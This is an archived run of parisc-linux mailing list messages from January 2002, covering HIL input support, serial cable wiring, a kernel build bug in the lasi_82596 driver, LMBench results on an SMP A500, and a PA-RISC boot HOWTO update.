List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13743

In the kernel config, under Character devices, theres "HIL keyboard support" and it says that "There are vestiges of mouse support in the driver, but it is 
probably not working.". This may be somthing

--jbit
Matthew Wilcox wrote:

> On Mon, Jan 14, 2002 at 03:18:33PM -0700, Matt Taggart wrote:
> 
>>HIL is supported for some systems. You mention that your system is a 715T/50, 
>>I don't know about support for that one. Have you determined that it won't 
>>work for you? I'm sure the people working on HIL support would like to hear 
>>about what you find.
>>
> 
> I haven't seen any code to support HIL mice, only HIL keyboards.  Or am
> I not looking hard enough?
> 
> 



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Allen Brown <abrown@peak.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [lug] serial breakout box
Date: Mon, 14 Jan 2002 19:47:43 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <200201150347.g0F3lh129546@tpol.peak.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620969 1180 80.91.229.3 (22 Nov 2014 01:49:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:29 +0000 (UTC)
To: collver@linuxfreemail.com, lug@peak.org,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 20:47:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tpol.peak.org (unknown [198.88.144.55])
	by dsl2.external.hp.com (Postfix) with ESMTP id B20CC482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 20:47:45 -0700 (MST)
Original-Received: (from abrown@localhost)
	by tpol.peak.org (8.11.2/8.11.2) id g0F3lh129546;
	Mon, 14 Jan 2002 19:47:43 -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13744

The breakout box is probably most convenient.  I've never had access
to one.  But the first thing you need to determine is if you need
to crossover or not.  You can do that with just a voltmeter.

Pin 7 is GND.  Pins 2 and 3 are the input and outputs, not necessarily
in that order.  Measure from 7 to 2.  Measure from 7 to 3.  One
of them will be close to 0V.  The other will be much higher.  I think
-10V or something like that.  The pin with the higher voltage is
the output.

Do the same thing on the other system also using the 25 pin connector.
Then make sure you are not connecting the output to the output.
--
Allen Brown
  work: Agilent Technologies      non-work: http://www.peak.org/~abrown/
        allen_brown@agilent.com	            abrown@peak.org
  Where are we going? And what's with this hand basket? --- George Carlin



From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with lasi_82596.c [CONFIG_IOMMU_CCIO]
Date: Tue, 15 Jan 2002 00:51:15 -0500
Lines: 69
Approved: news@gmane.org
Message-ID: <20020115005115.B4645@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620970 1183 80.91.229.3 (22 Nov 2014 01:49:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 22:50:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82b2487.cpe.net.cable.rogers.com [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 463AF482B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 22:50:10 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g0F5pFW05151
	for parisc-linux@lists.parisc-linux.org; Tue, 15 Jan 2002 00:51:15 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (32% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13745

PA,

Maybe I'm playing too quickly (recent CVS slurp, 2.4.17-pa10)

Compling kernel.

./include/asm-parisc/pci.h

    248 #ifdef CONFIG_IOMMU_CCIO
    249 struct parisc_device;
    250 struct ioc;
    251 void * ccio_get_iommu(struct parisc_device *dev);
    252 struct pci_dev * ccio_get_fake(struct parisc_device *dev);
    253 void ccio_extend_mmio_range(struct ioc *ioc);
    254 struct resource * ccio_find_parisc_resource(struct parisc_device *dev);
    255 #else /* !CONFIG_IOMMU_CCIO */
    256 #define ccio_get_iommu(dev) do { } while (0)
--> 257 #define ccio_get_fake(dev) do { } while (0)
    258 #define ccio_extend_mmio_range(ioc) do { } while (0)
    259 #define ccio_find_parisc_resource(x) &iomem_resource
    260 #endif /* !CONFIG_IOMMU_CCIO */

Which is included by lasi_82596.c there are some alternate
defines for the case where there is no IOMMU.

However in the lasi_82596 driver we see...

./drivers/net/lasi_82596.c

   1510 static int __devinit
   1511 lan_init_chip(struct parisc_device *dev)
   1512 {
   1513         struct  net_device *netdevice;
   1514         int     retval;
   1515 
   1516         if (num_drivers >= MAX_DRIVERS) {
   1517                 /* max count of possible i82596 drivers reached */
   1518                 return -ENODEV;
   1519         }
   1520 
-> 1521         fake_pci_dev = ccio_get_fake(dev);
   1522 
   1523         if (!dev->irq) {
   1524                 printk(KERN_ERR __FILE__ ": IRQ not found for i82596 at 0x%lx\n", dev->hpa);
   1525                 return -ENODEV;
   1526         }


Which on line 1521 clearly relies on ccio_get_fake(dev) to return
a value... and thus causing the kernel build to fail without any
IOMMU. Is this correct?

When the config option says:

CONFIG_IOMMU_CCIO:
The U2/UTurn is a bus converter with io mmu present in the Cxxx, D,
J, K, and R class machines.  Compiling this driver into the kernel will
not hurt anything, removing it will reduce your kernel by about 14k. 
If unsure, say Y.                                                                                     
Does a 715/50 have a U2/UTurn IOMMU or anything similar? 
(Currently perusing docs)

The kernel does compile with this option on... but it won't with
the option off. Any directions? Change the define to return some value?

c.




From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with lasi_82596.c [CONFIG_IOMMU_CCIO]
Date: Tue, 15 Jan 2002 05:58:48 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20020115055848.F19929@parcelfarce.linux.theplanet.co.uk>
References: <20020115005115.B4645@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620970 1185 80.91.229.3 (22 Nov 2014 01:49:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:30 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 22:58:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 39910482C
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 22:58:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16QMcS-0003F6-00; Tue, 15 Jan 2002 05:58:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020115005115.B4645@systemhalted>; from carlos@baldric.uwo.ca on Tue, Jan 15, 2002 at 12:51:15AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13746

On Tue, Jan 15, 2002 at 12:51:15AM -0500, Carlos O'Donell Jr. wrote:
>     255 #else /* !CONFIG_IOMMU_CCIO */
>     256 #define ccio_get_iommu(dev) do { } while (0)
> --> 257 #define ccio_get_fake(dev) do { } while (0)
> -> 1521         fake_pci_dev = ccio_get_fake(dev);

My fault, fixing now.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] LMBench on SMP A500
Date: 14 Jan 2002 23:41:37 -0700
Lines: 133
Approved: news@gmane.org
Message-ID: <1011076897.23556.3.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-gqczsLiozeWrux9wGBjI"
X-Trace: ger.gmane.org 1416620970 1193 80.91.229.3 (22 Nov 2014 01:49:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:30 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 14 23:41:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9571482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 23:41:38 -0700 (MST)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP id 781CEBC45
	for <parisc-linux@lists.parisc-linux.org>; Mon, 14 Jan 2002 23:41:37 -0700 (MST)
X-Mailer: Evolution/1.0 (Preview Release)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13747

--=-gqczsLiozeWrux9wGBjI
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hello Parisc-linux hackers,

I ran the lmbench mark sweet against an dual-processor A500.  I have
attached the results of the benchmark for people to review.

I am not convinced of the validity of the benchmark because the
following message repeatedly showed up in dmesg:


do_page_fault() pid=22449 command='lat_sig' type=15 address=0x40019000
vm_start = 0x40019000, vm_end = 0x4001a000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001100000000000001111 Not tainted
r00-03  0000000000000000 fffffffffffff000 0000000000011f3b
0000000040019000
r04-07  00000000bff00410 00000000bff001c8 0000000000027a32
0000000000000003
r08-11  0000000000027a72 0000000000000000 00000000000cea08
00000000000cf148
r12-15  0000000000000000 00000000000cafe8 00000000ffffffff
0000000000000000
r16-19  0000000000000000 00000000000b9e9c 0000000000000000
0000000000000001
r20-23  000000000000004e 00000000400cf460 0000000000000000
0000000000000008
r24-27  0000000000000000 0000000000000000 0000000000027b4c
0000000000027870
r28-31  0000000000000000 0000000000000000 00000000bff00500
00000000400cf46b
sr0-3   00000000002bcf00 00000000002bcf00 0000000000000000
00000000002bcf00
sr4-7   00000000002bcf00 00000000002bcf00 00000000002bcf00
00000000002bcf00

but I wanted to throw the results out for discussion.

Thanks,

- Ryan



--=-gqczsLiozeWrux9wGBjI
Content-Disposition: attachment; filename=lmbench.rbrad
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=ISO-8859-1

                 L M B E N C H  2 . 0   S U M M A R Y
                 ------------------------------------


Basic system parameters
----------------------------------------------------
Host                 OS Description              Mhz
                                                   =20
--------- ------------- ----------------------- ----
gsyprf11. Linux 2.4.17-        hppa64-linux-gnu  443
gsyprf11. Linux 2.4.17-        hppa64-linux-gnu  443
gsyprf11. Linux 2.4.17-        hppa64-linux-gnu  443

Processor, Processes - times in microseconds - smaller is better
----------------------------------------------------------------
Host                 OS  Mhz null null      open selct sig  sig  fork exec =
sh =20
                             call  I/O stat clos TCP   inst hndl proc proc =
proc
--------- ------------- ---- ---- ---- ---- ---- ----- ---- ---- ---- ---- =
----
gsyprf11. Linux 2.4.17-  443 0.71 1.38 6.81 8.42  80.2 2.06 16.0 17.K 37.K =
74.K
gsyprf11. Linux 2.4.17-  443 0.71 1.39 6.77 8.42  80.6 2.06 16.0 17.K 37.K =
74.K
gsyprf11. Linux 2.4.17-  443 0.71 1.39 6.79 8.42  80.3 2.06 16.0 17.K 37.K =
74.K

Context switching - times in microseconds - smaller is better
-------------------------------------------------------------
Host                 OS 2p/0K 2p/16K 2p/64K 8p/16K 8p/64K 16p/16K 16p/64K
                        ctxsw  ctxsw  ctxsw ctxsw  ctxsw   ctxsw   ctxsw
--------- ------------- ----- ------ ------ ------ ------ ------- -------
gsyprf11. Linux 2.4.17- 5.640 5.4400 4.6900 6.1000   18.3    30.2    93.0
gsyprf11. Linux 2.4.17- 5.430 5.4100 5.0300 6.9200   21.2    30.6    92.9
gsyprf11. Linux 2.4.17- 5.570 5.3800 5.0400 5.6200   19.4    30.0    94.3

*Local* Communication latencies in microseconds - smaller is better
-------------------------------------------------------------------
Host                 OS 2p/0K  Pipe AF     UDP  RPC/   TCP  RPC/ TCP
                        ctxsw       UNIX         UDP         TCP conn
--------- ------------- ----- ----- ---- ----- ----- ----- ----- ----
gsyprf11. Linux 2.4.17- 5.640  26.2 37.1             107.5       4977
gsyprf11. Linux 2.4.17- 5.430  31.6 37.1             108.4       4977
gsyprf11. Linux 2.4.17- 5.570  27.1 37.8             107.0       4932

File & VM system latencies in microseconds - smaller is better
--------------------------------------------------------------
Host                 OS   0K File      10K File      Mmap    Prot    Page=09
                        Create Delete Create Delete  Latency Fault   Fault=20
--------- ------------- ------ ------ ------ ------  ------- -----   -----=20
gsyprf11. Linux 2.4.17-   40.0   10.0  270.0   50.0  1480.0K 550.0       =20
gsyprf11. Linux 2.4.17-   40.0   10.0  270.0   60.0  1480.0K 557.9    14.0
gsyprf11. Linux 2.4.17-   40.0   10.0  280.0   60.0  1480.0K 550.0    20.0

*Local* Communication bandwidths in MB/s - bigger is better
-----------------------------------------------------------
Host                OS  Pipe AF    TCP  File   Mmap  Bcopy  Bcopy  Mem   Me=
m
                             UNIX      reread reread (libc) (hand) read wri=
te
--------- ------------- ---- ---- ---- ------ ------ ------ ------ ---- ---=
--
gsyprf11. Linux 2.4.17- 51.3 81.0 68.5   78.5  483.7  204.9  206.5 483. 455=
.0
gsyprf11. Linux 2.4.17- 51.3 81.0 68.8   78.5  483.7  200.3  204.9 488. 458=
.9
gsyprf11. Linux 2.4.17- 51.3 81.0 68.6   78.5  483.7  195.9  198.8 483. 440=
.1

Memory latencies in nanoseconds - smaller is better
    (WARNING - may not be correct, check graphs)
---------------------------------------------------
Host                 OS   Mhz  L1 $   L2 $    Main mem    Guesses
--------- -------------  ---- ----- ------    --------    -------
gsyprf11. Linux 2.4.17-   443

--=-gqczsLiozeWrux9wGBjI--




From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Solved with kernel 2.4.17-pa11 (was Re: Xfce -3.8.12b error)
Date: Tue, 15 Jan 2002 10:51:04 +0100 (CET)
Lines: 41
Approved: news@gmane.org
Message-ID: <1011088264.3c43fb8884707@webmail.tiscali.be>
References: <1011035188.3c432c3424792@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620971 1200 80.91.229.3 (22 Nov 2014 01:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:31 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, debian-x@lists.debian.org,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 02:51:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id D66A4482D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 02:51:13 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16QQFE-0007jG-00; Tue, 15 Jan 2002 10:51:04 +0100
In-Reply-To: <1011035188.3c432c3424792@webmail.tiscalinet.be>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13748

Hi all,

Quoting joel.soete@freebel.net:

> Hi all,
> 
> 
> xfwm message (type SessionInit):  X Session Manager not available
> Using builtin session management instead
> 
> aaaa: 1000 1000 1000
> Gdk-ERROR **: BadAccess (attempt to access private resource denied)
>   serial 320 error_code 10 request_code 129 minor_code 3
> Gdk-ERROR **: BadAccess (attempt to access private resource denied)
>   serial 321 error_code 10 request_code 129 minor_code 3
> 
> What ever the kernel I used (2.4.9 or 2.4.17-pa6).

Against all odds, the error is solved with kernel 2.4.17-pa11.

Have nice day too,
       Joel

> 
> I also notice that if I remove .xsession and .xfce then re-run
> xfce_setup, the
> .xsession is not recreated.
> 
> Thanks in advance for help,
>         Joel
> 
> 
> -------------------------------------------------
> This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] vmware question?
Date: Tue, 15 Jan 2002 17:03:24 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <20020115150324.GA22536@marmite.its.uct.ac.za>
References: <3C3F9C83.850FFD03@hpsgnsw.sgp.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620971 1203 80.91.229.3 (22 Nov 2014 01:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 08:03:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5A30482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 08:03:45 -0700 (MST)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.33 #4)
	id 16QV8c-000LpF-00
	for parisc-linux@lists.parisc-linux.org; Tue, 15 Jan 2002 17:04:34 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id D532B1A344; Tue, 15 Jan 2002 17:03:24 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3C3F9C83.850FFD03@hpsgnsw.sgp.hp.com>
User-Agent: Mutt/1.3.25i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13749

On Fri, Jan 11, 2002 at 07:16:35PM -0700, chenhp@hpsgnsw.sgp.hp.com wrote:
> Hi,
> I'm wondering to know if vmware can work on PA-Linux ?

Bochs works :)  Tried it out earlier today, but just with
FreeDOS.  Nothing more complex.

http://bochs.sourceforge.net/

-- 
Michael Wood <mwood@its.uct.ac.za>



From - Thu Nov 08 21:21:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@tuxfamily.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New Version!! (was Correction for the PA-RISC/Linux Boot HOWTO at ESIEE's web site.)
Date: Tue, 15 Jan 2002 18:23:59 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <3C4465AF.5020603@tuxfamily.org>
References: <3C3F0ADA.3060504@verizon.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620971 1205 80.91.229.3 (22 Nov 2014 01:49:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:49:31 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
	debian hppa <debian-hppa@lists.debian.org>
To: raffo@neuronet.pitt.edu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 15 10:22:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from laas.laas.fr (laas.laas.fr [140.93.0.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id B831E482B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 15 Jan 2002 10:22:45 -0700 (MST)
Original-Received: from tuxfamily.org (raptor [140.93.21.82])
	by laas.laas.fr (8.12.1/8.12.1) with ESMTP id g0FHMebK000396;
	Tue, 15 Jan 2002 18:22:41 +0100 (CET)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6+) Gecko/20011218
X-Accept-Language: fr
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13750

Hi all,

        As Rafael Herrera did, I would like your feedback from my new
version of PA-RISC/Linux Boot HOWTO.
http://mkhppa1.esiee.fr/parisc-linux-boot/parisc-linux-boot/index.html

-I added a complete chapter about compiling a kernel for HP PA-RISC system.
-I did a complete review of the text b/c of the progress of the port
-I added a note for users that are not using Debian that you should
blame the absence of standard for the default parameters more than the
guy who did this howto :-)
(b/c there are a lot of distro for Linux and that's great but I can't do
a step by step for each of them :-) )

Please, if you have any comment to make about this text, could you reply
to me because I would like update the version of Linuxdoc with a minimum
of errata.

Thomas.
ESIEE Team




From - Thu Nov 08 21:21:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] gpm 1.19.6-9 Broken?
Date: Tue, 15 Jan 2002 19:03:09 +0100 (CET)
Lines: 27
Approved: news@gmane.org
